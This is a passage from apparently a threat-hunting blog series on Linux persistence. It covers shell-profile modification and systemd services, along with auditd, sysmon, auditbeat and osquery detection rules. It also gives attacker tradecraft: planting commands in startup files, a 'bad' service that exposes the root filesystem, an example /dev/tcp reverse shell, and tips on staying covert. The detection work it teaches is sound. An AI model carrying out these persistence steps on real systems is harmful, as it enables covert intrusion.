<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">cmdline</span><span class="p">,</span> <span class="n">parent</span>
<span class="k">FROM</span> <span class="n">processes</span>
<span class="k">WHERE</span> 
    <span class="n">parent</span> <span class="o">=</span> <span class="mi">1</span> 
    <span class="k">AND</span> <span class="n">regex_match</span><span class="p">(</span><span class="n">cmdline</span><span class="p">,</span> <span class="nv">"python|bash|</span><span class="se">\b</span><span class="nv">sh</span><span class="se">\b</span><span class="nv">"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">IS</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/10-osquery-pid-1.png" alt="" /></p>

<h3 id="11-event-triggered-execution-unix-shell-configuration-modification">11 Event Triggered Execution: Unix Shell Configuration Modification</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1546/004/">https://attack.mitre.org/techniques/T1546/004/</a></p>

<h4 id="111-unix-shell-configurations">11.1 Unix Shell Configurations</h4>

<p>Unix Shells have several configuration scripts that are execute when a shell starts or ends.</p>

<p>The relevant files are listed in <a href="https://manpages.debian.org/stretch/bash/bash.1.en.html#FILES">“FILES” section in the bash man page</a></p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">File</th>
      <th style="text-align: left">Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">/etc/profile</td>
      <td style="text-align: left">Systemwide files executed at the start of login shells</td>
    </tr>
    <tr>
      <td style="text-align: left">/etc/profile.d/</td>
      <td style="text-align: left">All .sh files are executed at the start of login shells</td>
    </tr>
    <tr>
      <td style="text-align: left">/etc/bash.bashrc</td>
      <td style="text-align: left">Systemwide files executed at the start of interactive shells</td>
    </tr>
    <tr>
      <td style="text-align: left">/etc/bash.bash_logout</td>
      <td style="text-align: left">Systemwide executed as a login shell exits</td>
    </tr>
    <tr>
      <td style="text-align: left">~/.bashrc</td>
      <td style="text-align: left">User-specific startup script executed at the start of interactive shells</td>
    </tr>
    <tr>
      <td style="text-align: left">~/.bash_profile, ~/.bash_login, ~/.profile</td>
      <td style="text-align: left">User-specific startup script, but only the first file found is executed</td>
    </tr>
    <tr>
      <td style="text-align: left">~/.bash_logout</td>
      <td style="text-align: left">User-specific clean up script at the end of the session</td>
    </tr>
  </tbody>
</table>

<p>Some common uses of these configurations are:</p>
<ul>
  <li>Setting up the PATH variable</li>
  <li>Assigning aliases for commands Example: <code class="language-plaintext highlighter-rouge">ll='ls -alF'</code></li>
  <li>Setting up shell’s UX</li>
  <li>Setting up base functions</li>
</ul>

<p>Note: The documentation and man page say that it is <code class="language-plaintext highlighter-rouge">/etc/bash.bash.logout</code> but my testing show that it is actually <code class="language-plaintext highlighter-rouge">/etc/bash.bash_logout</code>. <a href="https://lists.gnu.org/archive/html/bug-bash/2016-08/msg00054.html">See thread</a></p>

<h4 id="112-modifying-shell-configuration">11.2 Modifying shell configuration</h4>

<p>This is pretty straightforward, you can just add addition bash commands in one of the files listed above. However, there are some things you should watch out for. Prioritize adding to <code class="language-plaintext highlighter-rouge">~/.bashrc</code>, <code class="language-plaintext highlighter-rouge">~/.profile</code>, <code class="language-plaintext highlighter-rouge">/etc/profile</code>, or <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code></p>

<p>To debug, let’s run the following and see what is triggered</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># As user </span>
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_logout' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> ~/.bash_logout
<span class="nb">echo</span> <span class="s2">"echo '~/.bashrc' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> ~/.bashrc 
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_profile' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> ~/.bash_profile
<span class="nb">echo</span> <span class="s2">"echo '~/.bash_login' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> ~/.bash_login
<span class="nb">echo</span> <span class="s2">"echo '~/.profile' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> ~/.profile

<span class="nb">touch</span> /tmp/triggered

<span class="c"># As root</span>
<span class="nb">echo</span> <span class="s2">"echo '/etc/bash.bashrc' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> /etc/bash.bashrc
<span class="nb">echo</span> <span class="s2">"echo '/etc/bash.bash_logout' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span> /etc/bash.bash_logout
<span class="nb">echo</span> <span class="s2">"echo '/etc/profile' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;&gt;</span>  /etc/profile 
<span class="nb">echo</span> <span class="s2">"echo '/etc/profile.d/bad.sh' &gt;&gt; /tmp/triggered"</span> <span class="o">&gt;</span> /etc/profile.d/bad.sh
</code></pre></div></div>

<p>If you get another terminal and ssh into the machine, <code class="language-plaintext highlighter-rouge">/etc/triggered</code> will have the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bash_profile
#After you end the session
~/.bash_logout
/etc/bash.bash_logout
</code></pre></div></div>

<p>So the question here is: <em>why was <code class="language-plaintext highlighter-rouge">~/.bashrc</code> not triggered?</em></p>

<p><code class="language-plaintext highlighter-rouge">~/.bashrc</code> is triggered directly when an interactive shell is created, for example, running <code class="language-plaintext highlighter-rouge">bash -i</code>. However, by convention, <code class="language-plaintext highlighter-rouge">~/.profile</code> and <code class="language-plaintext highlighter-rouge">/etc/profile</code> sources from <code class="language-plaintext highlighter-rouge">~/.bashrc</code> and <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code> respectively.</p>

<p>In <code class="language-plaintext highlighter-rouge">~/.profile</code> you might see something like</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># if running bash</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$BASH_VERSION</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    <span class="c"># include .bashrc if it exists</span>
    <span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.bashrc"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    <span class="nb">.</span> <span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.bashrc"</span>
    <span class="k">fi
fi</span>
</code></pre></div></div>

<p>And in <code class="language-plaintext highlighter-rouge">/etc/profile</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /etc/bash.bashrc <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
      <span class="nb">.</span> /etc/bash.bashrc
    <span class="k">fi</span>
</code></pre></div></div>

<p>But because we added <code class="language-plaintext highlighter-rouge">~/.bash_profile</code>, <code class="language-plaintext highlighter-rouge">~/.profile</code> is ignored and as a consequence, <code class="language-plaintext highlighter-rouge">~/.bashrc</code> is never called.  So when adding persistence using this, if <code class="language-plaintext highlighter-rouge">~/.profile</code> exists modify it instead of creating <code class="language-plaintext highlighter-rouge">~/.bash_profile</code> or <code class="language-plaintext highlighter-rouge">~/.bash_login</code> since this might break some of the configurations that have been put by the user in <code class="language-plaintext highlighter-rouge">~/.profile</code> or <code class="language-plaintext highlighter-rouge">~/.ssh</code> like <code class="language-plaintext highlighter-rouge">PATH</code> or the terminal colors. This will tip them off that something is wrong the next time they SSH into the VM.</p>

<p>So roll it back, we should use <code class="language-plaintext highlighter-rouge">~/.profile</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rm</span> ~/.bash_login
<span class="nb">rm</span> ~/.bash_profile
<span class="c"># rm /tmp/triggered </span>
</code></pre></div></div>

<p>Create a new shell again using SSH</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bashrc
~/.profile
 #After you end the session
~/.bash_logout
/etc/bash.bash_logout
</code></pre></div></div>

<h4 id="113-watching-for-modifications-of-shell-configurations">11.3 Watching for modifications of shell configurations</h4>

<h5 id="1131-auditd">11.3.1 auditd</h5>

<p>These are the rules from reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> that are relevant here. This also includes other configs for other shells.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## Shell/profile configurations
-w /etc/profile.d/ -p wa -k shell_profiles
-w /etc/profile -p wa -k shell_profiles
-w /etc/shells -p wa -k shell_profiles
-w /etc/bashrc -p wa -k shell_profiles
-w /etc/csh.cshrc -p wa -k shell_profiles
-w /etc/csh.login -p wa -k shell_profiles
-w /etc/fish/ -p wa -k shell_profiles
-w /etc/zsh/ -p wa -k shell_profiles
</code></pre></div></div>

<p>I’m not sure for other distros, but there might be a typo here</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># -w /etc/bashrc -p wa -k shell_profiles
-w /etc/bash.bashrc -p wa -k shell_profiles
</code></pre></div></div>

<p>I recommend adding <code class="language-plaintext highlighter-rouge">bash_logout</code> scripts</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/bash.bash_logout -p wa -k shell_profiles
</code></pre></div></div>

<p>Additionally, for known users try to monitor the user specific config</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /root/.profile -p wa -k shell_profiles
-w /root/.bashrc -p wa -k shell_profiles
-w /root/.bash_logout -p wa -k shell_profiles
-w /root/.bash_profile -p wa -k shell_profiles
-w /root/.bash_login -p wa -k shell_profiles
</code></pre></div></div>

<h5 id="1132-sysmon">11.3.2 sysmon</h5>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1546.004,TechniqueName=Event Triggered Execution: Unix Shell Configuration Modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/profile.d/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/profile<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/bash.bashrc<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/bash.bash_logout<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>.bashrc<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>.bash_profile<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>.bash_login<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>.profile<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>.bash_logout<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>Unfortunately, this won’t detect the modification of existing files such as <code class="language-plaintext highlighter-rouge">/etc/profile</code>, <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code>, <code class="language-plaintext highlighter-rouge">/root/.bashrc</code>, or <code class="language-plaintext highlighter-rouge">/root/.profile</code>. So until sysmon is able to have a file modification event, prefer to use <code class="language-plaintext highlighter-rouge">auditd</code> or other file integrity monitoring tool.</p>

<h5 id="1133-auditbeat">11.3.3 auditbeat</h5>

<p>By default, auditbeat will be able to monitor <code class="language-plaintext highlighter-rouge">/etc/profile</code>, <code class="language-plaintext highlighter-rouge">/etc/bash.bashrc</code>, and <code class="language-plaintext highlighter-rouge">/etc/bash.bash_logout</code>. Similar to <code class="language-plaintext highlighter-rouge">init.d</code>, it won’t monitors subdirectories by default so we have to include <code class="language-plaintext highlighter-rouge">/etc/profile.d</code></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
    <span class="s">...</span>
  <span class="pi">-</span> <span class="s">/etc/profile.d</span>
  <span class="c1"># - /root/</span>
  <span class="c1"># - /home/user/</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<p>It’s not as easy to monitor the user specific configs. We can add their home directories, but depending on your setup, these locations might ahve files that are modified frequeuntly.</p>

<h5 id="1134-osquery">11.3.4 osquery</h5>

<p>Sorry this is a chunky query, but what it does is it looks for system wide shell profiles as well as enumerate possible user configurations based on the home directory of each user in the machine.</p>

<p>This allows you to get snapshots of the shell profiles.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">WITH</span> <span class="n">system_wide</span> <span class="k">AS</span> <span class="p">(</span>
    <span class="k">SELECT</span> <span class="k">NULL</span> <span class="k">AS</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
    <span class="k">FROM</span> <span class="n">file</span>
    <span class="k">WHERE</span> 
        <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/profile.d/%"</span> 
        <span class="k">OR</span> <span class="n">path</span> <span class="k">IN</span> <span class="p">(</span>
            <span class="s1">'/etc/profile'</span><span class="p">,</span>
            <span class="s1">'/etc/bash.bashrc'</span><span class="p">,</span>
            <span class="s1">'/etc/bash.bash_logout'</span>
        <span class="p">)</span>
<span class="p">),</span> <span class="n">user_specific_files</span> <span class="k">AS</span> <span class="p">(</span>
    <span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">concat</span><span class="p">(</span><span class="n">users</span><span class="p">.</span><span class="n">directory</span><span class="p">,</span> <span class="n">column1</span><span class="p">)</span><span class="k">AS</span> <span class="n">path</span> 
    <span class="k">FROM</span> <span class="n">users</span> 
    <span class="k">CROSS</span> <span class="k">JOIN</span> <span class="p">(</span><span class="k">VALUES</span><span class="p">(</span><span class="s1">'/.bashrc'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.profile'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_profile'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_login'</span><span class="p">),</span> <span class="p">(</span><span class="s1">'/.bash_logout'</span><span class="p">))</span>
<span class="p">),</span> <span class="n">user_specific</span> <span class="k">AS</span> <span class="p">(</span>
    <span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
    <span class="k">FROM</span> <span class="n">user_specific_files</span>
    <span class="k">JOIN</span> <span class="n">file</span>
    <span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="p">)</span>

<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="p">(</span>
    <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_wide</span>
    <span class="k">UNION</span> <span class="k">ALL</span> 
    <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_specific</span>
<span class="p">)</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/1134-osquery-shell-profile.png" alt="" /></p>

<h3 id="whats-next">What’s next</h3>

<p>So we’ve discussed some of the scripts that are executed when a system boots or a user logs on the VM. In the next blog post, we’ll discuss <code class="language-plaintext highlighter-rouge">systemd-generators</code> which is another boot and logon initialization script.</p>

<hr />

<p><a href="https://www.pexels.com/photo/composition-of-different-conchs-on-beige-table-4226881/">Photo by Karolina Grabowska from Pexels</a></p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><category term="mitre" /><category term="persistence" /><category term="threat hunting" /><category term="sysmon" /><category term="auditd" /><summary type="html"><![CDATA[How attackers create can maintain persistence by inserting scripts and executables in special locations that will run on boot or logon]]></summary></entry><entry><title type="html">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</title><link href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/" rel="alternate" type="text/html" title="Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron" /><published>2022-01-30T00:00:00+00:00</published><updated>2022-01-30T00:00:00+00:00</updated><id>https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron</id><content type="html" xml:base="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"><![CDATA[<h3 id="introduction">Introduction</h3>

<p>In this blogpost, we’ll discuss how attackers can create services and scheduled tasks for persistence by going through the following techniques:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1543/002/">Create or Modify System Process: Systemd Service
</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1053/006/">Scheduled Task/Job: Systemd Timers</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1053/003/">Scheduled Task/Job: Cron</a></li>
</ul>

<p>We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, osquery, sysmon and auditbeats.</p>

<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>

<p>Here is a diagram of the things we will cover in this blog post:
<img src="/assets/posts/20220130/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>

<p>Linux Persistence Series:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="5-create-or-modify-system-process-systemd-service">5 Create or Modify System Process: Systemd Service</h3>

<h4 id="51-introduction-systemd-services">5.1 Introduction Systemd Services</h4>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1543/002/">https://attack.mitre.org/techniques/T1543/002/</a></p>

<p>Systemd services are commonly used to manage background daemon processes. This is how a lot of critical processes of the Linux OS start on boot time. In a Debian 10, here are some example services you might be familiar with:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/system/sshd.service</code>: Secure Shell Service</li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/systemd-logind.service</code>: Login Service</li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/rsyslog.service</code>: System Logging Service</li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system/cron.service</code>: Regular background program processing daemon</li>
</ul>

<p>Because of these service files, processes such as <code class="language-plaintext highlighter-rouge">sshd</code>, <code class="language-plaintext highlighter-rouge">rsyslogd</code>
 and <code class="language-plaintext highlighter-rouge">cron</code> will start running as soon as the machine is turned on.</p>

<p>Adversaries may utilize systemd to install their own malicious services so that even after a reboot, their backdoor service or beacon will also restart. To install a new service, a <code class="language-plaintext highlighter-rouge">*.service</code> unit file is created in <code class="language-plaintext highlighter-rouge">/etc/systemd/system/</code> or <code class="language-plaintext highlighter-rouge">/lib/systemd/system/</code>.</p>

<p>Let us look at <code class="language-plaintext highlighter-rouge">rsyslog.service</code> to get a real example configuration</p>

<pre class="highlight"><code>[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/

[Service]
Type=notify
<u><b>ExecStart=/usr/sbin/rsyslogd -n -iNONE</b></u>
StandardOutput=null
Restart=on-failure

# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384

[Install]
<u><b>WantedBy=multi-user.target</b></u>
Alias=syslog.service
</code></pre>

<p>There are two lines we want to focus on:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">ExecStart</code>: This is the command that is run when the service starts</li>
  <li><code class="language-plaintext highlighter-rouge">WantedBy</code>: Having a value of <code class="language-plaintext highlighter-rouge">multi-user.target</code> means that the service should start on boot time.</li>
</ul>

<p>Some resources to get you started in this:</p>
<ul>
  <li><a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/</a></li>
  <li><a href="https://wiki.debian.org/systemd/Services">https://wiki.debian.org/systemd/Services</a></li>
  <li><a href="https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units">https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units</a></li>
  <li><a href="https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html">https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html</a></li>
  <li><a href="https://www.freedesktop.org/software/systemd/man/systemd.unit.html">https://www.freedesktop.org/software/systemd/man/systemd.unit.html</a></li>
  <li><a href="https://www.unixsysadmin.com/systemd-user-services/">https://www.unixsysadmin.com/systemd-user-services/</a></li>
</ul>

<h4 id="52-installing-a-malicious-service">5.2 Installing a malicious service</h4>

<h5 id="521-where-to-put-service-files">5.2.1 Where to put service files</h5>

<p>To install a service, we need to first creat a <code class="language-plaintext highlighter-rouge">&lt;SERVICE&gt;.service</code> unit file in one of the systemd’s unit load paths. Based on the man pages [1][2].</p>

<table>
  <thead>
    <tr>
      <th>Path</th>
      <th>Descrption</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>/etc/systemd/system</td>
      <td>System units created by the administrator</td>
    </tr>
    <tr>
      <td>/usr/local/lib/systemd/system</td>
      <td>System units installed by the administrator</td>
    </tr>
    <tr>
      <td>/lib/systemd/system</td>
      <td>System units installed by the distribution package manager</td>
    </tr>
    <tr>
      <td>/usr/local/lib/systemd/system</td>
      <td>System units installed by the distribution package manager</td>
    </tr>
  </tbody>
</table>

<p>The full paths and order that <code class="language-plaintext highlighter-rouge">systemd</code> will look for unit files can be enumerated using the <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code> command (Add <code class="language-plaintext highlighter-rouge">--user</code> for user mode). For example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...
</code></pre></div></div>

<p>This is the exact order and locations that <code class="language-plaintext highlighter-rouge">systemd</code> will load services from. Some locations such as <code class="language-plaintext highlighter-rouge">/run/*</code> are transient and do not persist when the machine shuts down.</p>

<p>The first <code class="language-plaintext highlighter-rouge">*.service</code> file in the list will be used. For example, if <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code> already exists and we create <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service</code> then we are overriding the <code class="language-plaintext highlighter-rouge">nginx.service</code> because <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> takes precendence over <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code>. This might be something we can explore if we want to compromise existing services instead of creating a new one.</p>

<h5 id="522-minimal-service-file">5.2.2 Minimal service file</h5>

<p>We want to create a service called <code class="language-plaintext highlighter-rouge">bad</code>. So we create a file named <code class="language-plaintext highlighter-rouge">/etc/systemd/system/bad.service</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory /

[Install]
WantedBy=multi-user.target
</code></pre></div></div>

<p>Once this is created, we need to <code class="language-plaintext highlighter-rouge">enable</code> the service so that it will run when the machine boots. The standard way to do this is</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl enable bad
</code></pre></div></div>

<p>If you named your service <code class="language-plaintext highlighter-rouge">netdns.service</code>, for example, then the you will run <code class="language-plaintext highlighter-rouge">systemctl enable netdns</code>. This command will look for a <code class="language-plaintext highlighter-rouge">bad.service</code> file in one of the unit paths, parse it and create a symlink for each target in the <code class="language-plaintext highlighter-rouge">WantedBy</code> setting.</p>

<p>Since <code class="language-plaintext highlighter-rouge">WantedBy=multi-user.target</code>, the target directory would be <code class="language-plaintext highlighter-rouge">/etc/systemd/system/multi-user.target.wants</code> and we can manually create the symlink</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-user.target.wants/bad.service
</code></pre></div></div>

<p>After the symlink is created, the OS will know to run <code class="language-plaintext highlighter-rouge">bad.service</code> when the machine boots up. To manually run the service, you can run  <code class="language-plaintext highlighter-rouge">systemctl start bad</code>. If you modify a unit file, you need to reload it using <code class="language-plaintext highlighter-rouge">systemctl daemon-reload</code></p>

<p>In this example, <code class="language-plaintext highlighter-rouge">ExecStart</code> is a python3 but you can replace this with whatever command you want. It can be a reverse shell like <code class="language-plaintext highlighter-rouge">bash -i &gt;&amp; /dev/tcp/10.0.0.1/4242 0&gt;&amp;1</code> from whatever cheatsheet [3] or you can point this to a bash script or executable like <code class="language-plaintext highlighter-rouge">/tmp/backdoor</code> or <code class="language-plaintext highlighter-rouge">/opt/backdoor</code>.</p>

<h5 id="523-staying-covert">5.2.3 Staying covert</h5>

<p>Be conscious about the unit name, description, and the output of your script/executable.</p>

<p>By default, the description of the service will appear in syslog, and along with the <code class="language-plaintext highlighter-rouge">stdout</code>/<code class="language-plaintext highlighter-rouge">stderr</code>. Let’s say I have a python script that the service will run and it is trying to connect to a domain that we have failed to setup properly, then the service might right the following the <code class="language-plaintext highlighter-rouge">syslog</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
